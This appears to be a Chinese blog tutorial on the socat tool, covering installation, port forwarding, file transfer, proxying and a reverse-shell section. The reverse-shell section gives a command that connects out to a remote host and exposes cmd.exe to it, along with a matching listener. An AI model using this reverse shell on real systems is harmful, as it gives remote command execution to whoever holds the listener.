socat 端口转发、文件传输、反向 shell

socat Linux Windows About 1,861 words

Windows 版本

https://sourceforge.net/projects/unix-utils/files/socat/1.7.3.2

Linux 版本

http://www.dest-unreach.org/socat

Ubuntu

apt install socat

CentOS

yum install socat

端口转发

转发给其他主机端口。

socat TCP-LISTEN:18080,fork,reuseaddr TCP:192.168.1.100:8080

多端口转发,示例:转发54328080端口,使用|隔开。

socat TCP-LISTEN:18080,fork,reuseaddr TCP:192.168.1.100:8080 | socat TCP-LISTEN:15432,fork,reuseaddr TCP:192.168.1.100:5432

keepalive:保持连接。

socat TCP-LISTEN:18080,fork,reuseaddr,keepalive TCP:192.168.1.100:8080

range:限制指定IP可以访问22端口。

socat TCP-LISTEN:18080,fork,reuseaddr,range=127.0.0.0/8 TCP:192.168.1.100:8080

su=nobody:降低fork出来的进程链接时的权限,使用nobody用户。

socat TCP-LISTEN:18080,fork,reuseaddr,su=nobody TCP:localhost:8080

-d -d:两个-d参数表示调试级别的日志输出。

-v:发生错误时打印日志。

socat -d -d -v TCP-LISTEN:18080,fork,reuseaddr TCP:localhost:8080

转发给本地端口。

socat TCP-LISTEN:18080,fork,reuseaddr TCP:localhost:8080

文件传输

无需scp等其他命令。

接收方

保存在当前目录的test.txt文件中,文件名称不用于发送方一致,可自行命名。

socat -u TCP-LISTEN:18080 open:test.txt,create

发送方

发送本地文件test.txt到接收方,文件名称不用与接收方一致,选择本地需要传输的文件即可。

socat -u open:test.txt TCP:192.168.1.100:18080

反向 shell

socat TCP4-LISTEN:12345,fork STDOUT

Windows,让192.168.1.100这台机器上能执行本机的cmd.exe命令。

socat -d -d TCP4:192.168.1.100:12345 EXEC:'cmd.exe',pipes

透明代理

把本地端口的请求转换成使用代理服务器访问的请求。

SOCKS 代理

socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>

HTTP 代理

socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>

示例

连接本地的1234端口,相当于通过代理服务器127.0.0.1:5678去链接google.com80端口了。

这里SOCKS4A,后面A的意思是让代理服务器去解析域名。

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

更多参数

http://www.dest-unreach.org/socat/doc/socat.html

参考

http://www.dest-unreach.org/socat/doc/socat.html

https://linux.die.net/man/1/socat

https://www.redhat.com/sysadmin/getting-started-socat

Views: 4,828 · Posted: 2022-06-24

————        END        ————

Give me a Star, Thanks:)

https://github.com/fendoudebb/LiteNote

扫描下方二维码关注公众号和小程序↓↓↓

扫描下方二维码关注公众号和小程序↓↓↓
Today On History
Browsing Refresh